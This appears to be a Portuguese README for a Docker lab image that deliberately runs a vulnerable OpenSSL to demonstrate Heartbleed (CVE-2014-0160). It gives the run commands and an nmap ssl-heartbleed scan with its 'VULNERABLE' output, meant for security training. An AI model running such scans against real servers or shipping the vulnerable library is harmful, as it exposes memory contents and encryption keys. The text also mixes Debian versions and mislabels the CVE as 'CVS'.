hmlio/vaas-cve-2014-0160Vulnerabilidade como serviço: demonstrando CVS-2014-0160, a.k.a. Heartbleed
Um sistema Linux Debian (Wheezy) com uma versão vulnerável do libssl e openssl e um servidor web para demonstrar o CVS-2014-0160, também conhecido como Heartbleed.
Este contêiner Docker é baseado no Debian Jessie e foi modificado para usar uma versão vulnerável do libssl e do openssl.
Uma página web estática simples é servida via Apache 2.
Instale o contêiner com docker pull hmlio/vaas-cve-2014-0160
Execute o contêiner com um mapeamento de porta docker run -d -p 8443:443 hmlio/vaas-cve-2014-0160
Você deve conseguir acessar a aplicação web em http://your-ip:8443/.
A versão do servidor web/openssl/libssl vulnerável pode ser verificada e explorada conforme mostrado abaixo (recomenda-se usar uma máquina Kali):
root@kali:~/vaas-cve-2014-0160# nmap -sV -p 8443 --script=ssl-heartbleed your-ip

| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
